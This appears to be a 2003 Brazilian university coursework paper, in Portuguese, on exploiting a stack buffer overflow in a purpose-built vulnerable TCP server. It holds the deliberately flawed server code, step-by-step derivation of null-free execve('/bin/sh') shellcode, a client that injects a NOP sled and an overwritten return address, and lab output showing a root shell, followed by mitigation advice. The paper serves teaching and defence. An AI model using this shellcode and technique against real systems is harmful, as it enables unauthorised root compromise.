Tomando o controle de programas vulneráveis a buffer overflow

Trabalho da Disciplina Segurança de Dados 2/02

Diego de Freitas Aranha
Departamento de Ciência da Computação
Universidade de Brasília
Fevereiro de 2003
1. Introdução

Uma falha de segurança comumente encontrada em software é a vulnerabilidade a buffer overflow. Apesar de ser uma falha bem-conhecida e bastante séria, que se origina exclusivamente na incompetência do programador durante a implementação do programa, o erro repete-se sistematicamente a cada nova versão ou produto liberados. Alguns programas já são famosos por freqüentemente apresentarem a falha, como o Sendmail, módulos do Apache, e boa parte dos produtos da Microsoft, incluindo obviamente o infame Internet Information Services (IIS). Mesmo software considerado seguro, como o OpenSSH, já apresentou o problema. Para se ter uma idéia, das vulnerabilidades já encontradas no ano 2003 e cadastradas no banco de dados da ICAT, 37% correpondem a buffer overflow explorável localmente ou remotamente (num total de 19 falhas). Segundo a mesma fonte, durante o ano de 2002, foram comunicadas 288 falhas também locais ou remotas, totalizando 22% das falhas reportadas naquele ano.

Neste texto, tentaremos descrever a falha em linhas gerais, visitar suas formas de ataque e procedimentos para evitá-la. Primeiramente, algum conhecimento de base será examinado. O documento está estruturado nas seguintes seções:

2. Organização dos processos em memória

Os processos em execução são divididos em quatro regiões: texto, dados, pilha e heap.

A região de texto é fixa pelo programa e inclui as instruções propriamente ditas e os dados somente-leitura. Esta região corresponde ao segmento de texto do binário executável e é normalmente marcada como somente-leitura para que qualquer tentativa de escrevê-la resulte em violação de segmentação (com o objetivo de não permitir código auto-modificável).

A região de dados contém as variáveis globais e estáticas do programa.

A pilha é um bloco de memória contíguo utilizado para armazenar as variáveis locais, passar parâmetros para funções e armazenar os valores de retornos destas. O endereço de base da pilha é fixo e o acesso à estrutura é realizado por meio das instruções PUSH e POP implementadas pelo processador. O registrador chamado "ponteiro de pilha" (SP) aponta para o topo da pilha.

A pilha consiste em uma seqüência de frames que são colocados no topo quando uma função é chamada e retirados ao final da execução. Um frame contém os parâmetros para a função, suas variáveis locais, e os dados necessários para recuperar o frame anterior, incluindo o valor do ponteiro de instrução no momento da chamada de função.

Dependendo da implementação, a pilha pode crescer em direção aos endereços altos ou baixos. O ponteiro de pilha também é de implementação dependente, podendo apontar para o último endereço ocupado na pilha ou para o próximo endereço livre. Como o texto trata da arquitetura Intel x86, iremos utilizar uma pilha que cresce para os endereços baixos, com o ponteiro de pilha (registrador ESP) apontando para o último endereço da pilha.

Além de um ponteiro de pilha, também é conveniente contar com um "ponteiro de frame" (FP) que aponta para um endereço fixo no frame. A princípio, variáveis locais podem ser referenciadas fornecendo-se seus deslocamentos em relação ao ponteiro de pilha. Entretanto, quando palavras são inseridas e retiradas da pilha, estes deslocamentos mudam. Apesar de em alguns casos o compilador poder corrigir os deslocamentos observando o número de palavras na pilha, essa gerência é cara. O acesso a variáveis locais a distâncias conhecidas do ponteiro de pilha também iria requerer múltiplas instruções. Desta forma, a marioria dos compiladores utilizam um segundo registrador que aponta para o topo da pilha no início da execução da função, para referenciar tanto variáveis locais como parâmetros, já que suas distâncias não se alteram em relação a este endereço com chamadas a PUSH e POP. Na arquitetura Intel x86, o registrador EBP é utilizado para esse propósito. Por causa da disciplina de crescimento da pilha, parâmetros reais têm deslocamentos positivos e variáveis locais tem deslocamentos negativos a partir de FP.

A primeira instrução que um procedimento deve executar quando chamado é salvar o FP anterior, para que possa ser restaurado ao fim da execução. A função então copia o registrador de ponteiro de pilha para FP para criar o novo ponteiro de frame e ajusta o ponteiro de pilha para reservar espaço para as variáveis locais. Este código é chamado de prólogo da função. Ao fim da execução, a pilha deve ser restaurada e a execução deve retomar na instrução seguinte à de chamada da função, o que chamamos de epílogo. As instruções CALL, LEAVE e RET nas máquinas Intel são fornecidas para parte do prólogo e epílogo em chamadas de função. A instrução CALL salva na pilha o endereço da instrução seguinte como endereço de retorno da função chamada. A instrução RET deve ser chamada dentro do procedimento e restaura a execução no endereço que está no topo da pilha.

A heap permite a alocação dinâmica de memória por meio de chamadas da família malloc(3). A área de heap cresce em sentido oposto à pilha e em direção a esta.

3. Buffer overflow e ataques envolvidos

Um buffer overflow é resultado do armazenamento em um buffer de uma quantidade maior de dados do que sua capacidade . É claro que apenas linguagens de programação que não efetuam checagem de limite ou alteração dinâmica do tamanho do buffer são frágeis a este problema.

O princípio é estourar o buffer e sobrescrever parte da pilha, alterando o valor das variáveis locais, valores dos parâmetros e/ou o endereço de retorno. Altera-se o endereço de retorno da função para que ele aponte para a área em que o código que se deseja executar encontra-se armazenado (código malicioso dentro do próprio buffer estourado ou até algum trecho de código presente no programa vulnerável). Pode-se assim executar código arbitrário com os privilégios do usuário que executa o programa vulnerável. Daemons de sistema (syslogd(8), mountd(8)) ou aplicações que rodam com privilégios de super-usuário (sendmail(8), até pouco tempo) são portanto alvo preferencial.

Existem três tipos básicos de ataques a vulnerabilidades por buffer overflow:

4. Exploração de um programa vulnerável

As seções seguintes detalham a exploração de um programa vulnerável a buffer overflow, como exemplo de ataque a um programa que apresenta a falha. O programa vulnerável é um servidor TCP, sendo executado em uma máquina Intel, munida do sistema operacional Linux (as distribuições testadas foram a Debian 3.0r1-STABLE e a Conectiva, versão 8). A idéia geral do ataque é induzir o servidor vulnerável a executar um comando arbitrário a partir de uma chamada à função exec(3). Foi escolhido o sistema Linux pela simplicidade das chamadas de função da libc (a chamada execve tem em torno de 50 bytes de código binário). Foi realizada uma tentativa com o FreeBSD 4.7-STABLE, mas o tamanho do código das funções de sua biblioteca padrão (cerca de 2,5 KB para a execve(3)) tornariam o processo inviável. É importante que a chamada de função tenha código pequeno, particularmente a execve(3), porque não se sabe o tamanho do buffer a ser estourado. A título de referência, a função execve(3) substitui o processo corrente por um novo processo, executado como o usuário dono do processo corrente, recebendo como argumentos strings que determinam o processo a ser executado e os seus argumentos.

4.1. Descrição do servidor

Analisaremos agora o trecho de código vulnerável do programa servidor. A implementação completa encontra-se na seção de Anexos.


#define BUFFER_SIZE 100

int main(int argc, char *argv[]) {
	int socket_descriptor = -1;
	int incoming_socket;
	char buffer[BUFFER_SIZE];
	int index;
	int message_length;

/* Código de inicialização do socket... */
	while (1) {
/* Código de estabelecimento de conexão com cliente... */
		index = 0;
		while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) {
			index += message_length;
			if (buffer[index - 1] == '\0')
				break;
		}
		process(buffer);
/* Rotinas de fechamento de conexões com o cliente e liberação do socket servidor... */
	}
}
/* Função de cópia do buffer para processamento externo... */
void process(char *buffer) {
	char local_buffer[BUFFER_SIZE];
	
	strcpy(local_buffer, buffer);
}

O funcionamento básico do servidor resume-se à abertura de um socket em modo de escuta para 5 conexões, que recebe uma mensagem de cada cliente conectado, delegando o processamento da string recebida à função process(). A conexão com um cliente é encerrada quando um byte 0 é recebido na mensagem

O servidor tem duas falhas notáveis, destacadas em vermelho.

A primeira delas diz respeito à chamada da função read(2), que alimenta o buffer com bytes provenientes do cliente até que seja recebido um byte com valor 0. Não há qualquer checagem de limites para o tamanho do buffer. Enquanto o cliente enviar bytes diferentes de zero, o buffer será alimentado, comprometendo possivelmente o estado da pilha. Esta falha não permite a execução de código arbitrário, já que a execução sempre estará presa ao escopo do laço infinito, não sendo possível aproveitar endereços de retorno armazenados na pilha em uma rotina arbitrária (a função main não tem endereço de retorno armazenado na pilha). Entretanto, dependendo da disposição das variáveis locais da função main() na pilha (elas também podem estar em registradores), pode-se utilizar o buffer para sobrescrever os inteiros que armazenam os descritores dos sockets, alterando a disponibilidade do servidor. Pode-se induzir o servidor a rejeitar novas conexões (se sobrescrito o identificador do socket servidor, o código de estabelecimento de conexão falhará) ou a abrir novas conexões, levando o programa a um estado de saturação caso haja tráfego significativo nas conexões abertas (se sobrescrito o identificador do socket de conexão não será possível fechar a conexão com o cliente, já que o valor correto do descritor estará perdido).

A segunda falha, bastante convencional, encontra-se na chamada à função strcpy(3) dentro do procedimento process(). Assumindo que o buffer recebido como argumento foi estourado nas chamadas sucessivas à função read(2) sem checagem de limite, a função strcpy(3) também estourará o buffer local da função durante a cópia da string. Isso permitirá a alteração do endereço de retorno armazenado na pilha na chamada à função process(), direcionando a execução para qualquer posição de memória. Na exploração estudada aqui, direcionaremos a execução para o próprio buffer recebido como mensagem, que conterá o código malicioso a ser executado.

4.2. Código arbitrário

Será descrito nesta seção o procedimento para gerar o código binário que será enviado ao servidor. Desejamos que o buffer contenha uma chamada à função execve(3), onde poderemos passar o comando a ser executado com os privilégios do usuário executando o servidor, e uma chamada à função exit(3). Em linhas gerais, queremos que o servidor substitua sua execução pelo processo desejado e silenciosamente termine sua execução, para evitar que falhas de segmentação sejam geradas como possíveis indícios do ataque. Dependendo da configuração do sistema, a falha de segmentação pode provocar o dump do processo, que pode então ser examinado pelo administrador em busca da razão da execução corrompida do servidor (o servidor pode ser corrigido ou informações da conexão com o cliente obtidas).

Para obtermos as formas binárias das chamadas de função, utilizaremos o gdb(1) (GNU Debugger, padrão para a linguagem C). Basta codificar chamadas às funções desejadas, no caso execve(3) e exit(3), examinar o contexto que deve ser criado para sua execução e utilizar estas informações para reproduzir as chamadas. Com o gcc(1) (GNU C Compiler, padrão para a linguagem C), foi compilado o seguinte trecho de código (a partir do comando "gcc execve.c -o execve -ggdb -static"):


#include <stdlib.h>

void main() {
	char *name[2];

	name[0] = "/bin/sh";
	name[1] = NULL;
	execve(name[0], name, NULL);
}

A flag de compilação estática (-static) é utilizada para que o compilador insira o código efetivo da chamada de função no binário e não apenas uma referência à biblioteca compartilhada. Invocando-se o gdb(1) para examinar o código compilado, e solicitando a desmontagem da função main():


$ gdb execve
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.

Observando cuidadosamente a função, observamos o prólogo da função sendo executado (inserção do ponteiro de frame da função anterior na pilha, ajuste do ponteiro de pilha para alocação das variáveis locais), seguindo-se a criação de contexto para a chamada da função execve(3). Os argumentos são colocados na pilha em ordem inversa. Pode-se observar a inserção na pilha do terceiro argumento (NULL) (instrução <main+20>) e do ponteiro name duas vezes (instruções <main+25> e <main+29>), como primeiro e segundo argumentos da função. Examinando agora o código desmontado da chamada execve(3):


(gdb) disassemble execve
Dump of assembler code for function execve:
0x80002bc <execve>:   pushl  %ebp
0x80002bd <execve+1>: movl   %esp,%ebp
0x80002bf <execve+3>: pushl  %ebx
0x80002c0 <execve+4>: movl   $0xb,%eax
0x80002c5 <execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <execve+18>:        int    $0x80
0x80002d0 <execve+20>:        movl   %eax,%edx
0x80002d2 <execve+22>:        testl  %edx,%edx
0x80002d4 <execve+24>:        jnl    0x80002e6 <execve+42>
0x80002d6 <execve+26>:        negl   %edx
0x80002d8 <execve+28>:        pushl  %edx
0x80002d9 <execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <execve+34>:        popl   %edx
0x80002df <execve+35>:        movl   %edx,(%eax)
0x80002e1 <execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <execve+42>:        popl   %ebx
0x80002e7 <execve+43>:        movl   %ebp,%esp
0x80002e9 <execve+45>:        popl   %ebp
0x80002ea <execve+46>:        ret
0x80002eb <execve+47>:        nop
End of assembler dump.

A instrução mais importante é a int 0x80 (instrução <execve+18>). O Linux passa os argumentos para a chamada de sistema por meio de registradores e usa uma interrupção em software para entrar em modo kernel. Pode-se observar a carga no registrador EAX do valor 0xB (11 em decimal) que corresponde ao código da chamada de sistema. A partir do código desmontado, também descobrimos que o endereço da string "/bin/sh" deve estar carregado no registrador EBX (instrução <execve+9>), o ponteiro duplo name em ECX (instrução <execve+12>) e o endereço do ponteiro nulo em EDX (instrução <execve+15>). Como desejamos uma execução limpa do programa, devemos examinar as instruções necessárias para a chamada à função exit(3). Para isso, compilamos o código a seguir:


#include <stdlib.h>

void main() {
       exit(0);
}

O código desmontado, obtido a partir do gdb(1), encontra-se em seguida:


$ gcc exit.c -o exit -ggdb -static
$ gdb exit
(gdb) disassemble exit
Dump of assembler code for function exit:
0x800034c <exit>:      pushl  %ebp
0x800034d <exit+1>:    movl   %esp,%ebp
0x800034f <exit+3>:    pushl  %ebx
0x8000350 <exit+4>:    movl   $0x1,%eax
0x8000355 <exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <exit+12>:   int    $0x80
0x800035a <exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <exit+17>:   movl   %ebp,%esp
0x800035f <exit+19>:   popl   %ebp
0x8000360 <exit+20>:   ret
0x8000361 <exit+21>:   nop
0x8000362 <exit+22>:   nop
0x8000363 <exit+23>:   nop
End of assembler dump.

A função exit(3) apenas carrega o código de chamada de sistema 0x1 no registrador EAX (instrução <exit+4>), o argumento da função no registrador EBX (instrução <exit+9>) e efetua uma chamada à interrupção int 0x80 (instrução <exit+12>).

Entendido o procedimento para chamada da função execve(3), podemos codificar o código a ser executado no buffer utilizando o seguinte algoritmo:

    a) Armazenar a string "/bin/sh" terminada em caractere 0 em algum lugar da memória

    b) Armazenar o endereço da string "/bin/sh" em algum lugar da memória, seguido por uma palavra nula (vetor de ponteiros name)

    c) Copiar 0xB no registrador EAX

    d) Copiar o endereço da string "/bin/sh" no registrador EBX

    e) Copiar o endereço do endereço da string "/bin/sh" no registrador ECX

    f) Copiar o endereço do ponteiro nulo no registrador EDX

    g) Executar a instrução int 0x80

    h) Copiar 0x1 no registrador EAX

    i) Copiar 0x0 no registrador EBX

    j) Executar a instrução int 0x80

Vale observar que este procedimento pode ser utilizado para a execução de qualquer função arbitrária, desde que seu contexto seja cuidadosamente reproduzido. Em particular, também pode-se alterar o comando passado para a função execve(3). Utilizando o algoritmo derivado, podemos conceber o código de montagem:


	movl   endereco_string,posicao_endereco # Carrega o endereço da string para a posição imediatamente posterior à string
	movb   $0x0,ultimo_caractere_string	# Finaliza a string com um byte 0
	movl   $0x0,ponteiro_nulo		# Inicializa uma posição de memória com o ponteiro nulo
	movl   $0xb,%eax			# Contexto para int 0x80 (execve(3))
	movl   endereco_string,%ebx		# Contexto para int 0x80 (execve(3))
	leal   posicao_endereco,%ecx		# Contexto para int 0x80 (execve(3))
	leal   ponteiro_nulo,%edx		# Contexto para int 0x80 (execve(3))
	int    $0x80				# Chamada de sistema
	movl   $0x1, %eax			# Contexto para int 0x80 (exit(3))
	movl   $0x0, %ebx			# Contexto para int 0x80 (exit(3))
	int    $0x80				# Chamada de sistema
	.string \"/bin/sh\"			# String utilizada como argumento

O problema agora é determinar o endereço exato que a string "/bin/sh" receberá quando for armazenada no buffer do servidor. Como não conhecemos o endereçamento do processo servidor em memória, teremos que utilizar um artifício para obter o endereço da string. Utilizaremos uma instrução de desvio incondicional (JMP) e uma de chamada de procedimento (CALL), com endereçamento relativo ao ponteiro de instrução. O desvio incondicional será a primeira instrução do código e deverá desviar a execução para a intrução CALL. Imediatamente após a instrução CALL, armazenaremos a string "/bin/sh". Quando a instrução CALL for chamada, ela armazenará o endereço da próxima palavra na pilha, como endereço de retorno. Poderemos então obter o endereço exato da string observando a palavra que está no topo da pilha. A instrução CALL deve então chamar o procedimento gerado pelo algoritmo derivado. Unindo estas idéias, o código será da forma:


	jmp    CALL_LABEL:		# Desvio incondicional para chamada da CALL
POP_LABEL:
	popl   %esi			# Recuperação do endereço da string "/bin/sh"
	movl   %esi,0x8(%esi)		# Cópia do endereço da string na posição imediatamente posterior à string
	movb   $0x0,0x7(%esi)		# Finalização da string com byte 0
	movl   $0x0,0xc(%esi)		# Excrita do ponteiro nulo após a string
	movl   $0xb,%eax		# Contexto para int 0x80 (execve(3))
	movl   %esi,%ebx		# Carga do endereço da string em EBX
	leal   0x8(%esi),%ecx		# Carga do ponteiro duplo para a string em ECX
	leal   0xc(%esi),%edx   	# Carga do endereço do ponteiro nulo em EDX
	int    $0x80			# Chamada de sistema
	movl   $0x1, %eax		# Contexto para int 0x80 (exit(3))
	movl   $0x0, %ebx		# Contexto para int 0x80 (exit(3))
	int    $0x80			# Chamada de sistema
CALL_LABEL:
	call   POP_LABEL		# Chamada ao procedimento
	.string \"/bin/sh\"		# String utilizada como argumento

Como podemos ver, o código arbitrário é auto-modificável. Como o programa servidor armazenará a string em vetor local na pilha, não haverá qualquer problema com restrições de escrita (como haveria caso fosse armazenado em região de texto do processo). Devemos agora utilizar o gcc(1) para compilar o código gerado, utilizando a macro __asm__():


void main() {
__asm__("
	jmp    CALL_LABEL:
POP_LABEL:
	popl   %esi
	movl   %esi,0x8(%esi)
	movb   $0x0,0x7(%esi)
	movl   $0x0,0xc(%esi)
	movl   $0xb,%eax
	movl   %esi,%ebx
	leal   0x8(%esi),%ecx
	leal   0xc(%esi),%edx
	int    $0x80
	movl   $0x1, %eax
	movl   $0x0, %ebx
	int    $0x80
CALL_LABEL:
	call   POP_LABEL
        .string \"/bin/sh\"
");
}

O binário obtido será aberto com o debugger para convertermos as instruções uma a uma em seu código de máquina (comando x/bx <endereco> do gdb(1)). A string está então completa:


char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff/bin/sh";

Um problema adicional acaba de aparecer. O programa servidor alimenta o buffer até que receba um byte com valor 0. As funções de cópia de string que desejamos explorar também páram de copiar a string caso encontrem um byte 0. Para evitar a parada prematura do envio do buffer, teremos que converter as intruções com bytes 0 em instruções equivalentes sem nenhum byte nulo.

Instruções problema: Instruções substitutas:
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movl $0xb,%eax movb $0xb,%al
movl $0x1, %eax
movl $0x0, %ebx
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax

O código com as instruções problemáticas substituídas representa a versão final do código a ser enviado ao servidor:


void main() {
__asm__("
	jmp    CALL_LABEL:
POP_LABEL:
	popl   %esi
	movl   %esi,0x8(%esi)
	xorl   %eax,%eax
	movb   %eax,0x7(%esi)
	movl   %eax,0xc(%esi)
	movb   $0xb,%al
	movl   %esi,%ebx
	leal   0x8(%esi),%ecx
	leal   0xc(%esi),%edx
	int    $0x80
	xorl   %ebx,%ebx
	movl   %ebx,%eax
	inc    %eax
	int    $0x80
CALL_LABEL:
	call   POP_LABEL
        .string \"/bin/sh\"
");
}

Após repetir o processo de conversão utilizando o debugger, chegamos à seqüência de bytes que será alimentada ao buffer. Devemos proceder agora com o estudo do programa cliente, que será responsável pelo envio da string para estouro do buffer no servidor, causando o direcionamento da execução para o início do buffer.


char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

4.3. Descrição do cliente

O cliente será responsável pela exploração da falha remota, enviando uma string que propositadamente sobrescreverá o endereço de retorno da função process() no servidor, alterando o ponteiro de instrução ao final da função para o início do buffer estourado. A implementação completa do cliente encontra-se na seção de Anexos. Como sabemos que o tamanho do buffer no servidor é de 100 bytes, devemos ter uma string com pelo menos 108 bytes, para que ela possa sobrescrever tanto o ponteiro de frame salvo na pilha como o endereço de retorno. Utilizaremos uma string com 109 bytes, para abrigar o byte nulo como terminador. Nas posiçoes 104 a 107 da string, devemos inserir o endereço de retorno que sobrescreverá o endereço armazenado na pilha. Este endereço deverá apontar para o início do buffer estourado. Como não temos acesso ao espaço de endereçamento do processo servidor, teremos que estimar a posição inicial do buffer, utilizando conhecimento a respeito do ponteiro de pilha. Cada processo acessa sua pilha por meio de um endereço fixo (um endereço virtual a ser traduzido para um endereço físico). Sabendo que o ponteiro da pilha nos sistemas Linux normalmente é iniciado com valor 0xBFFFFFFF, deveríamos efetuar alguma aritmética para determinar a posição do buffer, conhecendo o tamanho das variáveis locais armazenadas na pilha das funções em execução. Um outro artifício será utilizado: enviaremos uma mensagem com 109 bytes que contém nas suas posições iniciais instruções NOP, que não realizam qualquer operação, e nas posições finais as instruções do código que desejamos executar. Assim, poderemos estimar o endereço de retorno para qualquer das posições do buffer que contenha instrução NOP, já que o fluxo de execução se encarregará de executar as instruções que desejamos quando se esgotarem as instruções inúteis. A string enviada para o servidor tem portanto o seguinte formato:


O endereço de retorno deve ser colocado nas posições finais do vetor com os bytes em ordem inversa, porque as instruções PUSH armazenam palavras na pilha seguindo esse padrão. O resumo do código do cliente encontra-se a seguir:


#define BUFFER_SIZE 100

int socket_descriptor = -1;

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[BUFFER_SIZE + 9];

int main(int argc, char *argv[]) {

/* Código para estabelecimento de conexão com o servidor... */
/* Código de preparo da string... */

/* Endereço de retorno nas posições finais do vetor */
	large_string[104] = '\xd4';
	large_string[105] = '\xf8';
	large_string[106] = '\xff';
	large_string[107] = '\xbf';
	large_string[108] = 0;

/* Envio da string preparada para o servidor */
	send(socket_descriptor, &large_string, strlen(large_string) + 1, 0);

/* Rotinas de fechamento de conexão com o servidor... */
}

4.4. Resultados

O teste da exploração da vulnerabilidade foi efetuado em uma máquina Linux do Laboratório de Sistemas Integrados e Concorrentes (LAICO) do CIC, apresentando os resultados esperados. Primeiramente, o servidor vulnerável foi iniciado remotamente com privilégios de super-usuário, a partir de uma sessão OpenSSH:


	$ su
	Password:
	$./servidor
	Sinopse: servidor <porta>
	$./servidor 5000
	Servidor vulnerável iniciado e em escuta...

O cliente foi então executado em uma máquina qualquer (no caso, a máquina FreeBSD do autor):


	$ ./cliente
	Sinopse: cliente <host> <porta>
	$ ./cliente <hostname> 5000
	Cliente tentando conexão...
	Conectado...
	Mensagem Enviada...
	$

A conexão a partir do cliente foi acusada pelo servidor:


	$./servidor 5000
	Servidor vulnerável iniciado e em escuta...
	Descritores dos sockets: Servidor: 3, Conexão: 4
	Conexão a partir de 200.140.10.18...
	Descritores dos sockets: Servidor: -1869574000, Conexão: 4
	Mensagem recebida: ë^1ÀFF
                         °
                          óV
                            Í1ÛØ@ÍèÜÿÿÿ/bin/shÔøÿ¿
	$

Podemos observar a alteração no descritor do socket servidor com o estouro do buffer, como previsto em discussão anterior. Estranhamente o servidor parece ter tido sua execução interrompida, quando deveria estar preso em um laço infinito. Verificando-se os processos sendo executados na máquina como o usuário root, podemos notar a execução de dois shells, quando apenas um foi iniciado. Isto prova que qualquer comando seria executado com as permissões de acesso do usuário root, se fornecido seu comando de execução na mensagem enviada ao servidor:


	$ ps
	  PID  TT  STAT   TIME    COMMAND
	  923  p0  S      0:00.00 sh
	  925  p0  S      0:00.00 sh
	  926  p0  R+     0:00.00 ps
	  147  v1  IWs+   0:00.00 /usr/libexec/getty Pc ttyv1
	  148  v2  IWs+   0:00.00 /usr/libexec/getty Pc ttyv2
	  149  v3  IWs+   0:00.00 /usr/libexec/getty Pc ttyv3
	  150  v4  IWs+   0:00.00 /usr/libexec/getty Pc ttyv4
	  151  v5  IWs+   0:00.00 /usr/libexec/getty Pc ttyv5
	  152  v6  IWs+   0:00.00 /usr/libexec/getty Pc ttyv6
	$ exit
	$ exit
	Logout

5. Técnicas para evitar a vulnerabilidade

A solução tradicional é utilizar funções de biblioteca que não apresentem problemas relacionados a buffer overflow. A solução na biblioteca padrão é utilizar as funções strncpy(3) e strncat(3) que recebem como argumento o número máximo de caracteres copiados entre as strings. Deve haver controle no argumento fornecido para que ele não exceda o tamanho da string de destino, ou teremos novamente código vulnerável. A função sprintf(3) também pode ser utilizada, desde que se forneça na string de formato o número máximo de caracteres a serem impressos na string de destino, e que este número seja compatível com a sua capacidade.

Os sistemas BSD fornecem as funções strlcpy(3) e strlcat(3) para cópia e concatenação de strings. Estas funções recebem como argumento o tamanho total do buffer de destino.

Existem soluções em bibliotecas distintas da padrão, como a Libmib que implementa realocação dinâmica das strings quando seu tamanho é ultrapassado, e a Libsafe que contém versões modificadas das funções suscetíveis a buffer overflow, funcionando como um wrapper para a libc padrão.

Um dos problemas do servidor implementado é a falta de checagem de tamanho do buffer nas chamadas sucessivas à função read(2). As alternativas nesse caso são a inclusão de código de checagem de limite do buffer ou a utilização de funções como recv(2) que recebem como argumento o tamanho máximo da string recebida.

Outras recomendações passam pela utilização de compiladores com checagem de limite, aplicação de patches ao sistema operacional que impossibilitem a execução de código na pilha ou heap (ainda restam os ataques utilizando a região de texto, entretanto), preferência por alocação dinâmica dos buffers na área de heap, atenção redobrada na codificação dos laços de interação que preenchem os buffers e exame cuidadoso das possíveis entradas do usuário.

Existe um patch para o kernel do Linux que torna o segmento da pilha não-executável, apesar deste não se encontrar ainda embutido no kernel padrão do Linux.

O sistema OpenBSD recebeu no dia 30 de Janeiro deste ano uma atualização que impede a execução de código contido na pilha do processo. Esta atualização está no ramo de código corrente e, após estabilizado, deverá ser replicada para outros sistemas operacionais, particularmente os BSDs.

6. Conclusões

A exploração de código vulnerável a buffer overflow exige alguma habilidade. Entretanto, o conhecimento necessário para tal tarefa pode ser facilmente adquirido pelo material difundido na rede e experimentação exaustiva.

A tarefa de codificar software seguro é difícil, mas deve ser tomada com máxima seriedade. Principalmente quando se está desenvolvendo software de segurança ou projetado para ser executado com privilégios de super-usuário ou usuário especial do sistema. Chega a impressionar o número de vulnerabilidades a buffer overflow encontradas em software de utilização ampla, dada a simplicidade das técnicas em evitá-las. É claro que na maioria das vezes aproveitar-se da falha não é fácil como apresentado aqui, mas ainda possível com alguma dedicação.

Neste trabalho, pudemos visitar os princípios básicos utilizados em um ataque a tal falha, a partir do embuste a um servidor TCP codificado com competência duvidosa.

7. Referências

  1. HYDE, Randall. The Art of Assembly Language Programming. Link.

  2. Beej's Guide to Network Programming: Using Internet Sockets. Link.

  3. WHEELER, David A. Secure Programming for Linux and Unix HOWTO. Link.
  4. Writing buffer overflow exploits - a tutorial for beginners. Link.

  5. How to write Buffer Overflows. Link.

  6. Smashing the stack for fun and profit. Link.

8. Anexos

8.1. Implementação do servidor


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h%gt;
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 100	// Tamanho do buffer de recebimento
#define BACKLOG 5	// Número de conexões na fila do servidor

/* Protótipos de funções */
/* Função de processamento da mensagem recebida */
void process(char *buffer);
/* Função de saída em caso de erro */
void quit_with_error(char * error_message);
/* Rotina para fechamento das conexões e liberação dos sockets */ 
void cleanup(int socket_descriptor, int incoming_socket);

/* Ponto de entrada do programa */ 
int main(int argc, char *argv[]) {
	/* Descritor do socket servidor */ 
	int socket_descriptor = -1;
	/* Buffer de recebimento */ 
	char buffer[BUFFER_SIZE];
	/* Descritor do socket de conexão com cliente */ 
	int incoming_socket;
	/* Registro para armazenar endereço do servidor */ 
	struct sockaddr_in my_address;
	/* Registro para armazenar endereço do cliente */ 
	struct sockaddr_in their_address;
	/* Porta em que o servidor irá escutar */
	int server_port = 0;
	/* Inteiro para armazenar o número de btyes recebidos a cada chamada de read(2) */
	int message_length;
	/* Flag utilizada para ligar o reuso da porta do servidor */
	int i_want_reusable_ports = 1;
	/* Inteiro utilizado para armazenar o tamanho da estrutura sockaddr */
	int length;
	/* Inteiro utilizado para indexar o buffer de recebimento */
	int index;

	/* Checagem de parâmetros do servidor */
	if (argc!=2) {
		fprintf(stderr,"Sinopse: %s <porta>\n", argv[0]);
		exit(1);
	}
	/* Obtenção da porta a partir da linha de comando */
	server_port = atoi(argv[1]);
	/* Criação de um socket TCP */
	socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);

	/* Checagem da criação do socket TCP */
	if (socket_descriptor < 0) {
		cleanup(socket_descriptor, incoming_socket);
		quit_with_error("Não foi possível abrir socket TCP.\n");
	}

	/* Ligação do reuso na porta utilizada pelo socket */
	if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int)) == -1) {
		cleanup(socket_descriptor, incoming_socket);
		quit_with_error("Não foi possível tornar a porta do socket reusável.\n");
	}

	/* Montagem do registro que armazena o endereço da máquina executando o servidor */
	my_address.sin_family = AF_INET;
	my_address.sin_port = htons(server_port);
	my_address.sin_addr.s_addr = INADDR_ANY;
	memset(&(my_address.sin_zero), '0', 8);

	/* Alocação da porta fornecida para o socket servidor */
	if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) {
		cleanup(socket_descriptor, incoming_socket);
		quit_with_error("Não foi possível alocar porta para o socket.\n");
	}

